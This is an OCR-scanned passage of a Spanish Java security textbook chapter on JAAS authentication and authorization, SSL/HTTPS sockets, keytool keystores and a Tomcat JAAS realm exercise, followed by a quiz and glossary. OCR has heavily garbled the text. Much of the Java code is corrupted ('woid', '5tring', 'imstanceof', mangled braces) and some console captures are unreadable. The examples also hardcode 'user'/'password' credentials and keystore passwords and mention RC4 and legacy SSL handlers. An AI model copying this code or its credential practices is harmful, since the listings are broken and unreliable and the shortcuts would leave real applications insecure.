disponibles. El estindar PAM gque JAAS implementa nos permititd especificar, en
dicho fichero, los mddulos gque se gjecutarin para autenticar al usuario vy su fichero
conliguracion(jass.config).

La asociacion del contexto JaasModule a un determinado médulo de fogin,
llamado PasswordLoginModule, con la configuracion reguired pueden alojarse en
el fichero jaas.config

JaasModule { PasswordLoginModule required; };

6.3 JAVAX.SECURITY.AUTH.CALLBACK: CALLBACK Y CALLBACKHANDLER

El codigo del manejador s¢ encuentra en UserPasswordCallbackHandler.
java.

Dicho eodigo implementa la interfaz CallbackHander. Para ello hay que
definir un constructor, que simplemente recibird ¢l nombre de usuario y el passwaord
que se le pasa por parimetro desde el codigo que inicid la autenticacion:

UserPasswordCallbackHandler.java

import java.io.®;
import java.security.®;
import javax.security.auth.?*;
import javax.security.auth.callback.®;
llfft
* CallbackHandler gue maneja usuarios y passwords.
*
public class UserPasswordCallbackHandler implements CallbackHandler {
private String mUsuario;
private char[] mPassword;
ffConstructor usuario y password
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public UserPasswordCallbackHandler(5tring usuario, char[] password){
mlUsuario = wsuario;
mPassword = password;
1
public woid handle{Callback[] callbacks)
throws UnsupportedCallbackException {
ff Iterar los callbacks
for{int i=8;i<callbacks.length;i++} {
Callback callback = callbacks[i];
/4 Manejar callback segin su tipo.
if (callback imstanceof Namefallback) {
NameCallback nameCallback = {(MameCallback)}callback;
nameCallback.setName{mUsuario);
} else if (callback instanceof PasswordCallback}) {
PasswordCallback passwordCallback = (PasswordCallback)callback;
passwordCallback.setPassword{mPassword) ;
1} else {
throw new UnsupportedCallbackException{callback, "Tipo de
callback no soportado®™);

El método handle() recibe como entrada un array de objetos Callback. Se
proporeionan diversas implementaciones como PasswordCallback v NameCallback
con meétodos como setName() v setPassword() que inicializan el nombre y password
del usuario en los respectivos callbacks a los valores definidos por el constructor y
que en su momento le paso la aplicacion que realiza la autenticacion.

6.4 INTERFAZ

Esta interfaz implementa los siguientes métodos:

initialize(}  Dado un objeto inicializa el LoginModule para un intento de fogin,

Comprueba las credenciales del sujeto anterior. Dependiendo de la implementacion
puede consistir en un acceso a BD, leer un fichero. ..

Se llama solo si loging) tiene éxito. Afade las identidades v credenciales necesarias
para el sujeto.

login()

commit()

abort() Se llama s1 el método ligni) ha fallado.
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La creacion de un LoginModule requerira gque implementemos los siguientes
métodos de interfaz: infttalize, fogin, commit, abort ¥ logout. Estos métodos son los
que darin comportamiento a nuestro médulo ¥ autenticarin a los usuarios. A
grandes rasgos, asi quedaria una clase que implemente dicha interfaz:

import java.util.Map;

import javax.security.auth.Subject;

import javax.security.auth.callback.CallbackHandler;
import javax.security.auth.login.loginException;
import javax.security.auth.spi.LoginModule;

public class PasswordLoginModule implements LoginModule {
public boolean abort(} throws LoginException {

return true;

}

public boolean commit{) throws LoginException {
return true;

i

public woid initialize({Subject subject, CallbackHandler callbackHandler,
Map<5tring;, ?: sharedState, Map<String, ?» options) {
}

public boolean login(} throws LoginException {

return false;

1

public boolean logout{) throws LoginException {
return true;

i

1

Desde la aplicacion llamaremos a login() de la siguiente forma:

ff 2. login()
logincontext. loging);

Concretamente ¢l método loging) define ¢l array de callbacks y llama al
método handle() del manejador para darle valor al nombre de usuario y al password.
A continuacion se accede a los callbacks devueltos mediante los métodos getName()
y getPassword(). Estos valores son los que en su momento se pasaron desde la
aplicacion que realiza la autenticacion.

ff Crear dos callbacks: wuno para wsuario y el otro para password.
Callback[] callbacks = new Callback[2];

callbacks[&] = new NameCallback{"Usuario};

callbacks[1] = new PasswordCallback(“Password™, false);

try {
[ Llamar al callbackhandler para rellenar informacion
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A continuacion se borra el password llamando al método elearPassword()
y se produce la validacion del nombre de usuario v del password. Asumiendo que el
usuario es ‘user’ y el password es ‘password’, el codigo de validacion podria ser el
siguiente:

De esta forma, si se detecta un fallo de autenticacion se borra el pasyword
y se lanza una excepcion. Esto hace que JAAS automadticamente gjecute el método
abort() que a su vez puede desencadenar un logout().Si por el contrario todo va
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bien, JAAS gjecutard el método commit(). Si todo ha ido bién se crea un objeto de
la clase Subject que contiene el usuario logueado.
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Ffor (int i=@;i<mPassword.length;i+s+} {

mPassword[i] = T *;

}

mPassword = null;

6.5 CLASE JAVAX.SECURITYAUTH.SUBJECT

Un Subject es una entidad o usuario que estd utilizando el sistema. Una
entidad puede poseer una o mas identidades de java.security. Principal. Por ¢jemplo,
podemos tener dos leging (identidades) cada uno de los cuales estd asociado a una
aplicacion distinta. Para obtener un Set con todas las identidades llamaremos al
método getPrincipals().

1l. package javax.security.auath:

2. publie elass Subject |

- I e

&,

5. public Set getPrincipals{} {]

6. public Set getFrincipals(Class <) [}

7.

a. public Set getFrivateCredentials() {|

9. pubkliz Set getFrivateCredentials (Class ) [}
10.

11. pubklic Set getFublicCredentials() ([}

1z, public Set getPublicsCredentials(Class <) (1}
13,

14. public boolean isReadonly() {}

15 . public void setReadOnly(d [}

16. }

Figura 6.5. Definicion de los métodos en Subject

Una sujeto contiene una lista de credenciales o instancias de Credentials,
objetos lales como passwords vy certificados, que pueden ser puablicos o
privados y puede accederse a ellos con los métodos getPublicCredentials() y
getPrivateCredentials() respectivamente.

Los sujetos representan quién estd ejecutando el codigo v por lo tanto el
acceso a determinados recursos depende de quién es la entidad activa. Para obtener
dicha entidad llamaremos a getSubject(). JAAS se encarga, en coordinacidn con la
interfaz LoginModule, de asignar entidades.

Concretamente, en el método commit() del LoginModule de nuestro
gjemplo, se crea un Principal llamando a la implementacion de esta interfaz que se
encuentra en el codigo ImplPrincipal java. A continuacidn, a dicho principal se le
afiade el nombre de usuario, y el principal se afiade al sujeto.
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/f Login com éxito: crear Principal y afiadirlo al Subject
mPrincipal = new ImplPrincipal{mUsuario);

if (l({mSujeto.getPrincipals().contains{mPrincipal}}) {
mtujeto.getPrincipals().add({mPrincipal);

1

ff 51 gqueremos gque el Subject contenga credenciales
f/f este es el momento para afadirlas.

/f Borrar uwsuario y password.

slUsuario = null;

clearPassword();

slommitExito = true;

return true;

]

Una vez realizado el commit(), desde la aplicacién leeremos el contexto y

lo imprimiremos:

ff 3. getSubject() e imprimir
Subject subject = loginContext.getSubject();
System.out.println{subject);

Ejecucion:

&.config EjemploJA

java -Djauvs.security.auth.login, config: jaas config EjemploJARS user passuord

Logeado con el usuario; Rsunto;
Principal: user

6.6 AUTORIZACION PROGRAMATICA

En ocasiones es conveniente determinar si quien estd egjecutando un
determinado codigo estd autorizado para ello. Supongamos que desde ¢l main() de
la aplicacion EjemploJAAS.java definimos un contexto de login para el usuario
“user” con password “password . Supongamos que, independientemente de que el
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login tenga ¢xito 0 no intentamos ejecutar un determinado fragmento de codigo. Para
ello extraemos el sujeto del login y llamamos al método doAs()de la clase Subject:

sujeto.dofAs{sujeto, new AccionSecreta ());

donde AccionSecreta es una clase que implementa la interfaz java.security.
Privileged Action. Esta interfaz contiene Unicamente ¢l método run(). Supongamos
que al ejecutarlo llamamos al método getSecretText() definido en la aplicacion:

class AcciomSecreta implements PrivilegedAction {

public AccionSecreta () {}

public Object rum(}) {

System.out.println{“Texto secreto: * + Ejemplo]AAS.getSecretText(});
return null;

1
1

Hasta el momento hemos permitido el acceso independientemente de que ¢l
login hayvatenido o no éxito. Sinembargo getSecretText() estd disefiado para producir
una salida distinta segin el caso. [ Cdmo nos enteramos de si el usuario realmente estd
autorizado o no, ¥ en funcidn de ello emitimos una salida v otra? Necesitamos definir
una instancia de la clase java.security.AccessControlContext, que obtendremos
llamando al método getContext() de la clase java.security. AccessController v una
ver obtenida pasarsela como argumento al método getSubject() de la clase Subjeet:

AccessControlContext contexto = AccessController.getContext();
Subject sujetoc = Subject.getSubject{contexto};

Si el sujeto obtenido es null entonces se trata de un acceso incorrecto, v en
ese caso se emite el texto “texto generico que puede ver todo el mundo ™. En caso
contrario se obtienen todas sus identidades o principales (principals).

Ejemplol]AAS. java
import java.security.®;
import java.util.*;
import javax.security.auth.*;
import javax.security.auth.login.*;
public class EjemplolAAs {
private static final String TEXTO_GEMERICO = "texto generico gque
puede ver todo el mundo™;
private static final S5tring TEXTO_PARTICULAR = "solo lo puede wver

user logueado™;
S
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* Dewvolwver un String segiln el subject
iy

public static String petSecretText() {
AccessControlContext contexto = AccessController.getContext();
Subject sujeto = Swubject.getSubject{contexto);

if (sujeto == null) {

System.out.println{™Sujeto vacio™);
return TEXTO_GEMNERICO;

ff Obtener todos los principales: instancias de ImplPrincipal.
ff Devolver el texto secreto si el wswario es "user™
Set principales = swujeto.getPrincipals();
Iterator iterador = principales.iterator();
while {iterador.hasNext()} {
ImplPrincipal principal = (ImplPrincipal)iterador.next();
if (principal.getName(]).equals{“user™)) {

return TEXTO_PARTICULAR;

]
}
return TEXTO_GENERICO;
1
public static woid main{5tring[] args) {
if (args.length 1= 2} {

System.err.println

{"Uso: java EjemplolAAS? vsuarie password™);

System.exit(1};
}
LoginContext loginContext = nullj;
5tring usuario = args[@];
char[] password = args[1].toCharArray();
try {
loginContext = new LoginContext(
"JlaasModule™, new UserPasswordCallbackHandler
{usuario, password));
loginContext.login(};
System.out.println{™\nLogin OK");
} catch (LoginException le} {
System.out.println{”wnLogin errer™};
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fFf Como el login tiene éxito entonces vemos el sujeto actuwal.
Subject sujeto = loginContext.getSubject();
ff Perform the example action as the authenticated subject.
ff y realizamos la accion secreta
sujeto.doAs(sujeto, new AccionSecretal));

Ejecucion:

java -Djava. urity.auth. login.configsjeas.config Ejemple

Login error

texto generico que puede ver teodo el munde

Figura 6.6. Captura de pantalla. Ejecucién EjemplolAAS

6.7 CERTIFICADDS Y SSL

6.7.1 SSL Basico: Funcionamiento y HTTPS

SSL es el protocolo habitualmente usado para encriptar la comunicacion
cliente-servidor. Casi todo el trdfico en la red puede encriplarse con SSL: POP,
IMAP, telnet, FTP, ele, pero es especialmente interesante para dotar de seguridad al
protocolo HTTP, es decir como base del HTTPS.

La implementacién de SS5L es una extensidn de los sockets que permite
establecer un canal (stream)de comunicacion. Dicha comunicacién se inicia con
un handshake durante el cual, el cliente v el servidor construyven una session-key
(clave simétrica encriptada con un esquema asimétrico) compartida para verificar su
identidad mutua:
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v

.
-

gerver hello

certificade servidor (.

ipedir certificado)
seryer hello done

changs cipher spec
finished

Figura 6.7. Funcionamiento de S5L

1. Cliente envia un mensaje client hello que contiene: versiones 55L
soportadas por el cliente, 32 bytes aleatorios que crea el cliente, 1D de
sesion, lista de cifradores soporados, lista de métodos de compresion
sopordados.

2. Servidor responde con server _hello que contiene: seleccion de las
versiones SSL de la lista del cliente, 32 bytes aleatorios creados por el
servidor, 1D de sesion, cifradores escogidos de la lista del cliente (p.e.
RSA v RC4) vy método de compresion usado. En este punto el servidor
envia su certificado X.509 firmado por una CA y que contiene la clave
publica del servidor.

3. Cliente verifica el mensaje del servidor y si se le requiere un certificado
se lo envia. Seguidamente envia un elient key exchange con 48 bytes
(sacados de los 32 del cliente v de los 32 del servidor) que se usan para
construir la session-key que a su vez es encriptada con la clave publica
del certificado del servidor.

A continuacidn, si al cliente se le pidid un certificado, este envia un
certificate verify. En cualquier caso, después el cliente construye una
clave simétrica con RC4 y una clave para el MAC que se usari para
comprobar la integridad de los datos.

4. Servidor responde con su propio change cipher spec v su propio
finished.
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A partir de este punto, la comunicacion cliente-servidor serd encriptada por
clave simétrica, lo cual es transparente para las librerfas Java 851 como J55E (Java

Secute Sockets Extension).

JSSE es un APL para usar 551 en Java. Se incluye a partir de la version
1.4 del sdk de tal forma que el fichero $JAVA HOME/jre/lib/security/java.security

contendrd una linea similar a esta:

security.provider.x=com.sun.net.ssl.internal.ssl.Provider

6.7.2 Cliente y servidor HTTPS

Para ejecutar un cliente HTTPS que acceda a una determinada URL que se
le pasa desde la linea de comandos hay que indicarle al manejador de URL donde

estan las clases HTTPS:

Java -Djava.protocol.handler.pkgs=com.sun.net.ssl.internal .www.protocol

Altnerativamente el manejador puede configurarse usande el método

setProperty():

System.setProperty(
“java.protocol.handler.pkgs™, “com.sun.net.ssl.internal.www.protocol®);

ClienteHTTPS.java

import java.io.®;

import java.net.*;

Lk

* ClienteHTTPS

L

. Esta clase accede a una url com HTTPS e
* imprime su contenide en la salida standard.
L

i

public class ClienteHTTPS {
public static woid main (String[] args) throws Exception {
System.setProperty(“java.protocol.handler. pkgs",
“com.sun.net.ssl.internal.www . protocol™);
ff URL por defecto
String urlitring = “https://www.verisign.com/";
F£f 51 se pasa un argumento, sustituye a la URL por defecto
if (args.length » 8) {
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urlstring = args[@];
¥
URL url = new URL{urlString);
Bufferedieader in = new BufferedReader(
new InputStreamfeader{url.openstream{)));
String line;
while {{line = im.readlLime()}) != null) {
System.out.println{line);

}

in.close();

En cuanto al servidor, lo primero es crear un socket 551, Para ello utlizamos
el método getDefault() de la clase javax.net.ssLSSLServerSocketFactory
para obtener una SS5LServerSocketFactory, v luego llamaremos al método
createServerSocket de esta clase para crear un ServerSocket:

55L5erverSocketFactory ssf =
(55L5erversocketFactory)5SLServersocketFactory.getDefault();

ServerSocket ss = ssf.createServerSocket(8888);

Asi, a partir de aqui no hay ninguna referencia a S5L vy el servidor trabaja
de forma transparente. Con un aceept() espera llamadas desde un cliente, define un
InputStream para leer la entrada del cliente v un QuiputStream para escribirla en
la pantalla. Despuds construye una pagina HTML, y finalmente cierra los streams y
el socket.

ServidorHTTPS. java

import java.io.®;
import java.net.*;
import javax.net.ssl.*®;
public class ServidorHTTPS {
public static void main(String[] args) throws IO0Exception {
44 Utilizar una SocketFactory para crear sockets 55L:
S5LServerSocketFactory ssf =
(55L%erversocketFactory)s5LlserverSocketFactory . getDefault();
Serversocket ss = ssf.createServerSocket(8888);
/4 Bucle infinito para aceptar conexiones permanentemente
while (true)} {
try {
Socket s = ss.accept();
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Sin embargo, si intentamos ejecutar este codigo con java ServidorHTTPS,
se lanza una excepeidn al detectarse que no se ha creado un certificado y una clave
privada para el servidor SSL. Para ello, usaremos la herramienta keytool desde el
directorio desde donde ejecutamos el servidor:
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Ejecucion Keytool:

debe tener al mend: & caracteres

QCUll @2 @l noRbre de
[Unknoun]: demo
@l RoRbre
damo
# el nombre
cnadn]:  demo
2l nombre
demo

de 1a unidad?

T damo

(INTRO =i la misma contrasesa gue la del

[flnacanands kK ré]

Figura6.8. Captura de pantalla. Ejecucidn Keytool

De esta forma hemos generado nuestro fichero .keystore

v ponemos como nombre el nombre de la mdquina, p.e. localhost, Asi, para
lanzar el servidor HTTPS indicaremos el almacén que contiene ¢l certificado v el
password para acceder a él. Desde linea de comandos esto gqueda como:

Lanzamos el servidorHTTPS indicando el almacen de claves
generado y la password que hemos utilizado en el comando
keytool

java -Djavax.net.ssl.keyStore=.keystore

-Djavax.net.ssl.keyStorePassword=password ServidorHTTPS

Tras esperar unos segundos para dejar que el servidor se inicialice, pediremos
desde el navegador la URL hetps:Alocalhost-8080 atacando al puerto donde estd
escuchando el servidor. Sin embargo, dado que el certificado que hemos utilizado
es auto-firmado, el navegador no lo reconocerd, aunque nos pedird si gqueremos
aceptarlo. 81 decimos que si, se muestra una pagina web con el mensaje Hola,

Para evitar las advertencias del navegador hemos de conseguir un certificado
firmado por una CA reconocida.
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Cuando un cliente ataca un servidor S5L, el servidor envia un certificado
al cliente para verificar que el cliente conoce la identidad del servidor. El cliente
entonces valida el certificado y confia en la CA que lo firmd. Como el certificado de
nuestro servidor es auto-firmado hemos de decirle al cliente que nos acepte como
CA. Desde linea de comando haremos lo siguiente:

java -Djavax.net.ssl.trustStore=.keystore ClienteHTTPS https://localhost:8888/

Hay que tener en cuenta que el trustStore por defecto es el fichero $JRE_
HOME/lib/security/cacerts que contiene todos los certificados en los que Java
confia, aunque podemos importar otros desde keytool.

6.7.3 Autenticacion del cliente

Como hemos visto, en HTTPS solamente se autentica el servidor presentando
un certificado digital, mientras que el cliente se considera andmino. 51 queremos gue
también el cliente se autentifique ante el servidor, este deberd presentar un certificado
digital.

Para forzar que el cliente se autentifigue modificaremos el codigo del
servidor ServidorHTTPS.java de manera que incluya las lineas.

S55L%erverSocketFactory ssf =
(55L5erveriocketFactory)silServersocketfactory.getbefault();

S5L5erverSocket ss = ([S5L%erverSocket)ssf.createServerSocket(B888);

/f Reguerir autentificacidn del cliente

ss.setNeedClientavth{true);

En este caso estamos utilziando la clase SSLServerSocket y el método
setNeedClientAuthi).De esta forma, el cliente Cliente HTTPS java podri conectlarse
a este servidor para que le muestre una pagina web. Pero antes, la autorizacion mitua
fuerza a que el cliente incorpore en su trustStore un certificado del servidor y este
incorpore en el suyo un certificado del cliente.

I. Keystore del cliente

keytool -genkey -v -keyalg RSA -keystore ks_cliente con “CH=demo™

y clawve "password”
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Introduzca 1 ntraseta 2l almacHn ode clav

Lo Luser ribir la contrasedsa nue
s nonbre Y su apellidad

unided de organizac

estads o prov
pafFs de dos letras de la unidad?

OUsdena, Dedems, Lydema. STidemo

Gererando il e RSA de 2_058 bits p
na ' denc 0= dems !
Intraduzs ; s elave p 1
5 la wisma contreseza gue la del
[Almacenando ks iente]

Figura 6.9. Captura de pantalla. Ejecucion Keytool

2. Keystore del servidor

keytool -genkey -w -keyalg RSA -keystore ks_serwidor con "CN=localhost™

y clawve “password”

rkeytonl -genkey -v -Esyalg R58 -Eeystore E gruidar)

del mlmacBn de ol
& Rlies
i apellida?
u wnidad de arganizaciszn?

U ¢rganliacl

ciudad o

una

Figura 6.10. Captura de pantalla. Ejecucion Keytool
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3. Certilicado del servidor

keytool -export -v -file servidor.cer -keystore ks_servidor

Introduze

a
Certificade

4. Truststore del cliente

keytool -import -v -alias certservidor -file servidor.cer -keystore
ts_cliente con clave "password” reconociendo gue confiamos en

el certificado

Fkeytool -import -u -alias certseruider -file seruvidor cer -Keystore ts _cliente

1 e claes

Figura 6.11. Captura de pantalla. Ejecucion Keytool

5. Certilicado del cliente

keytool -export -v -file cliente.cer -keystore ks_cliente
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6. Truststore del servidor

keytool -import -v -alias certcliente -file cliente.cer -keystore
ts_servidor con clave “password” respondiendo gue confiamos en

el certificado

gruidar

Figura 6.12. Captura de pantalla. Ejecucion Keytool

Asi, lanzaremos el servidor de la siguiente forma:

java -Djavax.net.ssl.keyStore=ks_servidor
-Djavax.net.ssl.keyStorePassword=password
-Djavax.net.ssl.trustStore=ts_servidor ServidorHTTPS

De la misma manera, en otra ventana lanzaremos el cliente:

java -Djavax.net.ssl.keyStore=ks_cliente
-Djavax.net.ssl.keyStorePassword=password
-Djavax.net.ssl.trustStore=ts_cliente ClienteHTTPS https://localhost:E@88

Ejecucion:
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6.8 EIERCICIO

Tomeat proporciona por defecto una implementacion de un Realm
para JAAS.De esta forma los desarrolladores pueden implementar sus propios
moédulos de inicio de sesion JAAS. En este e¢jercicio vamos a poner en prictica
todos los componentes necesarios para poner en luncionamiento JAAS en el
contenedor web Tomeat.

Crear un proyecto del tipo web application con la siguiente estructura:

Principals

1:' ] MyModulelogn_java
+-|J] RoePrincpaljava
® [1] UserPrincipaljava

H- @l JRE System Library [125E-1.5

B-= sre
El-E= main
=Hi= webapp
- admin
El admin_jsp
- = META-INF
| contextxml
E- &= WEB-INF
-~ [ web.xml
=| errar. himi
= login.html

Uno de los conceptos bisicos de JAAS es la existencia de usuarios v roles.

En JAAS esto se traduce en el concepto de Principals que pueden representar
a usuario v roles. Vamos a definir los datos de los usuarios en la clase UserPrincipal

gue se utilizard en este egjemplo. Esta clase implementard la interfaz java.security.

Principal.
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De la misma forma se define la clase RolePrincipal:

Madulo de login

Ahora tenemos que definir un médulo de inicio de sesion para poner en
practica el proceso de autenticacion. El modulo de acceso debe implementar la
interfaz javax.security.auth.spi.LoginModule:
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import
import
import
import
import
import
import
import
public

javax.security.auth.Subject;
javax.security.auth.callback.Callback;
javax.security.auth.callback.CallbackHandler;
javax.security.auth.callback.NameCallback;
javax.security.auth.callback.PasswordCallback;
javax.security.auth.callback.UnsupportedCallbackException;
javax.security.auth.login.lLoginException;
javax.security.auth.spi.Logindodule;

class MyLoginModule implements LoginModule {

private CallbackHandler handler;
private Subject subject;

private UserPrincipal userPrincipal;

private RolePrincipal rolePrincipal;

private String login;

private List«<S5tring» userGroups;

public woid initialize{Subject subject,

CallbackHandler callbackHandler,

Map<5tring, ?» sharedState,
Map«String, ?» options) {

handler = callbackHandler;
this.subject = subject;

¥

@override

public boolean login() throws LoginException {
Callback[] callbacks = new Callback[2];
callbacks[8] = new MameCallback({™login"};

callbacks[1]

new PasswordCallback{"password™, true);

try {

hamndler.handle{callbacks);
S5tring name = (({NMameCallback)} callbacks[8]).getName();
String password = String.valueOf(((PasswordCallback) callbacks[1])
JEetPassword());
ff Validar credenciales contra una base de datos o servicio web
#f Por simplificar validamos con datos harcodeados
if (mame != null &&
name. equals(“user”) B&
password 1= null E&
password.equals({“password*)) {

ff Almacenamos usuario y roles despues de haber obtenido las

credenciales

login = name;
userGroups = new Arraylist<String:(};
userGroups.add({™admin™};

return truej
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#F 51 las credenciales no son OK se lanza LoginException
throw new LoginException{™Authentication failed™);
} catch (I0Exception e) {
throw new LoginException{e.getMessage());
} catch (UnsupportedCallbackException e) {
throw new LoginException{e.getMessage());

¥

public boolean commit() throws LoginException {
userPrincipal = new UserPrincipal(login};
subject.getPrincipals().add{userPrincipal);
if (userGroups != null E& userGroups.size() » @) {
for (String groupMame : userGroups) {
rolePrincipal = new RolePrincipal(groupMame};
subject.getPrincipals().add{rolePrincipal);

1

return true;

¥
public boolean abort() throws LoginException {

return false;

¥
public boolean logout() throws LoginException {

subject.getPrincipals().remove{userPrincipal};
subject.getPrincipals().remove{rolePrincipal});

return true;

Todos los métodos implementados se heredan de la interfaz javax.security.
auth.spi.LoginModule v serd ejecutados por Tomceat en momentos especificos
durante el proceso de autenticacion.

El método de inicio de sesion es responsable de comprobar si las credenciales
proporcionadas por el usuario son vélidas, Esta comprobacidn se puede realizar
contra cualquier tipo de entidad autorizacion (base de datos, servicio web, LDAP).

Si la autenticacion ha temido éxito, serd el momento de buscar los roles
asociados con el usuario autenticado. El método commit es responsable de almacenar
las credenciales del usuario, en formato de objeto Principal.

El método de cierre de sesidn se llama cuando el usuario realiza logout del
sistema (y la aplicacidn implementa un mecanismo de cierre de sesidn). En el caso
de que el usuario no sea vilido, se llama al método de abort, lanzando en este caso
un LoginException.



@ RA-MA Capitulo 6. JAAS Y COMUNICACION SEGURA 299

Tenemos que securizar la carpeta admin dentro del proyecto web. Para
lograrlo, debemos definir algunos elementos de configuracion en el archivo web.
xml. Estas entradas van directamente debajo del elemento web-app:

En ¢l elemento <security-constraint= definimos los recursos que queremos
securizar que se encuentran dentro de la carpeta /admin. Ademads, a esta carpeta solo
pueden acceder los usuarios autenticados con el rol de administrador{admin). El
elemento <login-config> define como se pedird las credenciales al usuario. En este
caso vamos a utilizar el esquema de autenticacidn bisica.

Definimos el Realm de JASS para tomeat dentro del archivo context.xml que
se encuentra en:/META-INF/context. xml

Aqui definimos la clase que implementard el realm de JAAS. Estamos
utilizando la implementacion por defecto de tomeat: org.apache.catalina.realm,
JAASRealm. También definimos gqué clases gue implementan los principals para
usuarios y roles.
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Por altimo, hay que definir un archivo de configuracion JAAS. Para seguir
la especificacion hay que nombrarlo como jaas.config v se coloca en la carpeta conf
de tomeat: § CATALINA BASE/con{jaas.config

El archivo debe tener el siguiente aspecto:

MyModuleLogin
com.example. jaas.MyModulelogin required debug=true;
1;

Por iltimo, en el fichero de arrangue de tomeat{eatalina.sh) hay que indicarle
que use este fichero de configuracion en la variable JAVA OPTS.

JAVA_OPTS=%1AVA OPTS
“-Djava.security.auth.login.config==$CATALINA_BASES/conf/jaas.config"

Si todo ha ido bien, al arrancar el servidor ¢ intentar entrar en la carpeta /
admin/admin.himl desde la aplicacion creada, nos deberia saltar una ventana que nos
solicite usuario y password.

Bt hentication Required

Ausemame and pesswordare being requested by hittpe/flocalhost 8080, The sitesays: "Admin”

Liser Name: |

Passwond:

Figura 6.13. Solicitud usuarioy password

51 nos logeamos con user y pasword deberiamos poder acceder a la pagina
de admin, en otro caso nos debe continuar mostrando la ventana de login.

Otra opcidn gque tenemos es la posibilidad de tener nuestro propio formulario
de fogin personalizado en lugar de la venlana que solicita autenticaciom por defecto.
Para ello basta con definir en el web.xml gue la autentacacidén serd del tipo
formulario(FOBRM) vy definimos la pigina de fogin de error.

<login-configs
<auth-method:FORM fauth-method>
«<form-login-config>
<form-login-page:>/flogin.html</form-login-pages»



@ RA-MA Capitulo 6. JAAS Y COMUNICACION SEGURA 301

Formulario de login

Hemos definido un formulario de acceso sencillo con dos campos de entrada:
nombre de usuario y contrasefia. Un aspecto importante a tener en cuenta es gue los
campos tienen que tener el atributo name j_username y j_password y j_security
check para el action del formulario. Estos nombres de atributos son estandar para
definir un formulario de login en aplicaciones web en Java.
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6.10 AUTOEVALUACION UNIDAD 6

Selecciona la respuesta correcta

1. ;Cudl de las siguientes tareas se lleva a cabo por el framework JAAS?

a. Autenticacion y Autorizacion
b. Configuracién v Autenticacion
c. Autorizacion v Firma
d. Autenticacion y Firma
2. ;Cual de las siguientes afirmaciones es verdadera sobre el framework
JAASY
a. El componente de autorizacion determina la identidad del wsuario de

con independencia de si el cddigo es una aplicacion, o serviet.
El componente de autenticacion implementa el marco de seguridad de
Java y restringe el cddigo gue realiza tareas sensibles.

Durante el proceso de autorizacion se crea una instancia a través de un
objeto LoginContext.

Durante el proceso de autorizacion se crea una instancia a través de un
objeto de la clase PrivilegeAction.

3. :Cual de los siguientes paquetes consta de clases e interfaces que pasan
informacion de autenticacion para una aplicacién mediante la invocacion
de un vinculo entre la aplicacion y servicio de seguridad?

a
b
C
d

javax.security.auth
javax.security.auth.callback

. javax.security.auth.spi

javax.security.auth login

4. ;Cual de las siguientes afirmaciones representa la necesidad de que el
CallBack-Interfaz Handler?

.

Cuando un médulo de inicio de sesidn necesita cierla informacion de
autorizacion de un usuario.

Cuando el proceso de autenticacion se llama de nuevo debido a
recursos insuficientes.

Cuando el mddulo necesita notificar al usvario de ciertos eventos
durante el proceso de autenticacidn,

Cuando la autorizacidn para un recurso especifico incumple.
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. (Cuil de las siguientes afirmaciones es verdadera acerca de la clase

LoginContex1?

d.

Cuando la autenticacion tiene éxito, ¢l usuario puede ser recuperado
mediante ¢l método getllser()

. La clase LoginContext se emplea para autorizar a un determinado
usuario el acceso a un recurso,

. La clase LoginContext se refiere a una sola instancia LoginModule
para una aplicacién particular.

. La clase LoginContext se refiere a varias instancias LoginModule
para una aplicacién particular.

. teudl es y donde se localiza el truststore por defecto que se utiliza al

invocar a un recurso HTTPS desde Java?

e oo

p

h

a.

b.

(=S - -

SIRE HOME/lib/security/caceris
. BIRE HOME/lib/security/java.security
. BIRE HOME/lib/security/java.policy
. 3JRE HOME/lib/jsee.jar

o £0ué método de los siguientes se usa para aceptar peticiones de clientes

or parte de un servidor S5L en la clase SS5LServerSocket?

accept()
zetProtocol()
start()
getlnstance()

. (Cudl de las siguientes afirmaciones acerca de una operacion de S5L

andshake es cierta?
La autenticacion del servidor es opeional.

El cliente y el servidor generar claves de sesion utilizando una master
secret key.

Una sesion SSL se completa después de que el handshake ha caducado.

. Incluso si hay un problema en la autenticacion de cliente la operacion
se lleva a cabo

. (Qué flag del modulo de autenticacion de JAAS permite que el modulo

fogin tenga que tener éxito para que el login completo tenga éxito e
incluso si falla se consulta a otros médulos de fogin?
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Required
Reguisite
Sufficient
Optional

10.En el caso de que gqueramos implementar nuestro propio loginModule,
squé métodos tendriamos que implementar correspondientes a la interfaz
javax.security.auth spi.LoginModule?

init(y, login(j,commit{ ) logout()
init(), login{).zsave(),abort()
initialize(), login{),commit()abort()
. initialized), login(),save()Jogout()

BEo oD

6.11 LECTURAS RECOMENDADAS

¥ La documentacion oficial sobre JAAS se puede encontrar en la pagina
de oracle :

http:ifwww oracle. comdtechnetworkfavafovase/faas/index htm!
http:fidocs. oracle. comdavase/7idoesitechnotes/guides/security/jess/
tutorials/denOnly. himl

6.12 GLOSARIO DE TERMINOS

F Bytecode: Es un archivo binario que contiene un programa gjecutable que
se produce por la compilacion del eddigo fuente escrito en la Plataforma
Java.

F JAAS (Java Authentication and Authorization Service): Interfaz
de programacion de aplicaciones que permite a las aplicaciones Java
acceder a servicios de autenticacionm vy acceso, APl que se utiliza para
agregar funcionalidad relacionada con el inicio de sesidn{autenticacion)
v validacion de permisos(autorizacion) en lag aplicaciones Java. JAAS
permite autenlicar y autorizar a los usuarios, lo que permite a las
aplicaciones Java crear dominios de seguridad especificos para cada
aplicacion.

F SSL: Sccure Socket Layer. Protocolo de seguridad que utiliza claves
publicas v privadas para proporcionar codificacion de datos, autenticacion
e integridad de mensajes para conexiones TCP/IP.
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INTRODUCCION

Enesta unidad veremos el desarrollo de programas que proporcionen servicios
de encriptacion y desencriptaciom, autenticacidn y comunicacion segura. En primer
lugar, estudiaremos los esquemas simétricos, que estdn basados en usar la misma
clave secrela, usualmente de 128 bits, tanto para encriptar como para desencriptar,
Los algoritmos mds conocidos son TripleDES v Blowfish. Estos algoritmos se
aplican a través de ciphers o cifradores de dos tipos: de blogue (penmiten encriptar
bloques de datos de 64 o 128 bits) v de de stream (encriptan bit-a-bit o byte a byte).
Posteriormente, pasaremos a estudiar el esquema asimétrico de clave piblica donde
se emplea una clave para encriptar ¥ olra para desencriptar.

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Analizar la integridad y confidencialidad ded las aplicaciones a través
de la utilizacion de alguna herramienta criptografica, particularmente
para JAVA, las APls de Java Cryptography Architecture (JCA) v Java
Cryplography Extension (JCE).

2. Estudiar los esquemas simétricos, asimelricos v de autenticacion
mediante finma digital.

3. Conocer las principales herramientas de seguridad en el ecosistema de
Java mostrando ejemplos de su uso.
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7.1 CONFIGURACION DE SISTEMAS OPERATIVOS EN JAVA

1.1.1 Herramientas de seguridad

Dentro del ecosistema de Java, podemos destacar las siguientes herramientas
